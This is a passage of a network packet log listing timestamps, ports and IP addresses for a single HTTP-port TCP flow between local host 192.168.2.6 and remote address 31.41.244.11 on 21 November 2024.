Nov 21, 2024 14:11:13.883738995 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.883794069 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.883811951 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.883830070 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.883853912 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.883865118 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.884671926 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.884717941 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.884823084 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.884840012 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.884869099 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.884885073 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.885474920 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.885519981 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.885580063 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.885601044 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.885716915 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.886318922 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.886364937 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.886380911 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.886396885 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.886457920 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.887248039 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.887303114 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.887387991 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.887403011 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.887438059 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.887461901 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.888245106 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.888290882 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.888345957 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.888362885 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.888396978 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.888412952 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.889151096 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.889199018 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.889199972 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.889218092 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.889260054 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.889874935 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.889926910 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.889930010 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.889944077 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.889971972 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.889987946 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.890784025 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.890866995 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.890883923 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.890912056 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.890927076 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.891602993 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.891657114 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.891674995 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.891691923 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.891717911 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.891732931 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.892501116 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.892564058 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.892580032 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.892599106 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.892621040 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.892632961 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.893347979 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.893393040 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.893420935 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.893438101 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.893471956 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.893487930 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.894218922 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.894295931 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.894318104 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.894364119 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.895096064 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.895162106 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.895199060 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.895215034 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.895262957 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.895998955 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.896054983 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.896055937 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.896070957 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.896089077 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.896119118 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.896855116 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.896902084 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.896905899 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.896923065 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.896966934 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.897752047 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.897798061 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.898025990 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.898108959 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.898125887 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.898170948 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.899019957 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.899035931 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.899051905 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.899081945 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.899101019 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.899759054 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.899805069 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.899813890 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.899830103 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.900022030 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.900679111 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.900762081 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.900778055 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.900820017 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.901571989 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.901627064 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.901627064 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.901643991 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.901670933 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.901685953 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.902424097 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.902467012 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.902472973 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.902491093 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.902514935 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.902529001 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.903306961 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.903352022 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.903353930 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.903368950 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.903410912 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.904239893 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.904284954 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.904292107 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.904308081 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.904328108 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.904352903 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.905059099 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.905126095 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.905141115 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.905148983 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.905178070 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.905973911 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.906018972 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.906019926 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.906035900 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.906061888 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.906085968 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.906845093 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.906900883 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.906917095 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.906934023 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.906969070 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.906986952 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.907691002 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.907736063 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.907737017 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.907753944 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.907785892 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.907800913 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.908574104 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.908600092 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.908617020 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.908627987 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.908644915 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.908677101 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.079951048 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.079979897 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.079996109 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.080044985 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.080089092 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.080313921 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.080375910 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.080390930 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.080420017 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.080445051 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.081213951 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.081305981 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.081321955 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.081362009 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.081377983 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.082099915 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.082174063 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.082190037 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.082235098 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.082257986 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.082982063 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.083041906 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.083045006 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.083059072 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.083117008 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.083817005 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.083868980 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.083873987 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.083892107 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.083930969 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.084727049 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.084753990 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.084769964 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.084778070 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.084810972 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.085575104 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.085622072 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.085638046 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.085654974 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.085680962 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.085695028 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.086448908 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.086503029 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.086519003 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.086535931 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.086576939 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.087362051 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.087388992 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.087407112 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.087414980 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.087430954 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.087460041 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.088232994 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.088282108 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.088289022 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.088308096 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.088336945 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.088352919 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.089127064 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.089173079 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.089188099 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.089221954 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.089246988 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.089967966 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.090019941 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.090037107 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.090049028 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.090063095 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.090085030 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.090910912 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.090962887 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.090965986 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.090982914 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.091023922 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.091787100 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.091806889 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.091839075 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.091860056 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.091989994 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.092173100 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.092612028 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.092665911 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.092683077 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.092711926 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.092731953 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.093472958 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.093523979 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.093545914 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.093563080 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.093601942 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.094363928 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.094412088 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.094413042 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.094429970 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.094471931 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.095266104 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.095299959 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.095318079 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.095324993 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.095347881 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.095417976 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.096148968 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.096251011 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.096266031 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.096297026 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.096329927 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.097016096 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.097043037 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.097059011 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.097062111 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.097096920 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.097918034 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.097964048 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.098018885 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.098119020 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.098131895 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.098155975 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.098752022 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.098795891 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.099030018 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.099072933 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.099113941 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.099129915 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.099152088 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.099169016 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.100168943 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.100218058 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.100234985 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.100236893 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.100251913 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.100270987 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.100830078 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.100892067 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.100908041 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.100938082 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.100955009 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.101941109 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.101957083 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.101974010 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.102003098 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.102020979 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.102617025 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.102667093 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.102684021 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.102711916 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.102735043 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.103434086 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.103477955 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.103493929 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.103511095 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.103547096 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.104348898 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.104394913 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.104396105 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.104413986 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.104433060 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.104448080 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.105195045 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.105238914 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.105251074 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.105268002 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.105307102 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.106117964 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.106163025 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.106201887 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.106220007 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.106259108 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.106940985 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.106987000 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.107013941 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.107029915 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.107064962 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.107924938 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.107940912 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.107956886 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.107973099 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.107990026 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:14.108901024 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.108916998 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:14.108933926 CET	80	49876	31.41.244.11	192.168.2.6
